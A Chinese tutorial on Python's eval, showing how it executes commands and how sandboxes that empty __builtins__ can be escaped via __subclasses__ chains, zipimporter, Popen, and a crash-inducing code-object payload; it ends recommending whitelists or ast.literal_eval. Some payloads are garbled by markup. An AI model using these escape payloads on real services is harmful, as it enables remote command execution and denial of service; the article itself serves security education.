python中eval的用法詳解及潛在風險介紹

這篇文章帶給大家的內容是關於python中eval的用法詳解及潛在風險介紹，有一定的參考價值，有需要的朋友可以參考一下，希望對你有幫助。

eval前言

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

當記憶體中的內建模組含有os的話，eval同樣可以做到指令執行：

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

當然，eval只能執行Python的表達式類型的程式碼，不能直接用它進行import操作，但exec可以。如果要使用eval進行import，則使用__import__：

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

在實際的程式碼中，往往有使用客戶端資料帶入eval中執行的需求。例如動態模組的引入，舉個栗子，一個線上爬蟲平台上爬蟲可能有多個並且位於不同的模組中，伺服器端但往往只需要呼叫使用者在客戶端選擇的爬蟲類型，並透過後端的exec或eval進行動態調用，後端編碼實作非常方便。但如果對用戶的請求處理不恰當，就會造成嚴重的安全漏洞。

安全」使用eval

現在提倡最多的就是使用eval的後兩個參數來設定函數的白名單：

Eval函數的宣告為eval(expression[ , globals[, locals]])

其中，第二三個參數分別指定能夠在eval中使用的函數等，如果不指定，預設為globals()和locals()函數中包含的模組和函數。

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined

如果指定只允許呼叫abs函數，可以使用下面的寫法：

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

使用這種方法來防護，確實可以起到一定的作用，但是，這種處理方法可能會被繞過，從而造成其他問題！

繞過執行程式碼1

被繞過的情景如下，小明知道了eval會帶來一定的安全風險，所以使用如下的手段去防止eval執行任意程式碼：

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

Python中的__builtins__是內建模組，用來設定內建函數的模組。例如熟悉的abs，open等內建函數，都是在該模組中以字典的方式儲存的，下面兩種寫法是等價的：

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

我們也可以自訂內建函數，並像使用Python中的內建函數一樣使用它們：

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

小明將eval函數的作用域中的內建模組設定為None，好像看起來很徹底了，但依然可以被繞過。__builtins__是__builtin__的一個引用，在__main__模組下，兩者是等價的：

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

根據烏雲drops提到的方法，使用如下程式碼即可：

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的程式碼首先利用__class__和__subclasses__動態載入了object對象，這是因為eval中無法直接使用object。然後使用object的子類別的zipimporter對egg壓縮檔案中的configobj模組進行導入，並調用其內建模組中的os模組從而實現命令執行，當然，前提是要有configobj的egg檔。configobj模組很意思，居然內建了 os模組：

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

和configobj 類似的模組如urllib，urllib2，setuptools等都有os的內置，理論上使用哪個都行。如果無法下載egg壓縮文件，可以下載帶有setup.py的資料夾，加入：

from setuptools import setup, find_packages

然後執行:

python setup.py bdist_egg

就可以在dist資料夾中找到對應的egg檔案。繞過demo如下：

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

拒絕服務攻擊1

object的子類別中有很多有趣的東西，執行以下程式碼查看：

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

這裡我就不輸出結果了，如果你執行的話，可以看到很多有趣的模組，像是file，zipimporter，Quitter等。經過測試，file的建構函數是被解釋器沙箱隔離的。簡單的，或者直接使object暴露出的子類Quitter進行退出：

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>
如果運氣好，遇到對方程式中導入了os等敏感模組，那麼Popen就可以用，並且繞過__builins__為空的限制，例子如下：

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

事實上，這種情況非常多，例如導入os模組，一般用來處理路徑問題。所以說，遇到這種情況，完全可以列舉大量的功能函數，來探測目標object的子類別中是否含有一些危險的函數可以直接使用。

拒絕服務攻擊2

同樣，我們甚至可以繞過__builtins__為None，造成一次拒絕服務攻擊，Payload(來自老外blog)如下：

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

運行上面的程式碼，Python直接crash掉了，造成拒絕服務攻擊。原理是透過嵌套的lambda來建構一片程式碼段，也就是code物件。為這個code物件分配空的棧，並給出對應的程式碼字串，這裡是KABOOM，在空棧上執行程式碼，會出現crash。構造完成後，呼叫fc函數即可觸發，其思路不可謂不淫蕩。

總結

從上面的內容我們可以看出，單單將內建模組置為空，是不夠的，最好的機制是建構白名單，如果覺得比較麻煩，可以用ast.literal_eval來取代不安全的eval。

這篇文章到這裡就已經全部結束了，更多其他精彩內容可以關注PHP中文網的python影片教學專欄！

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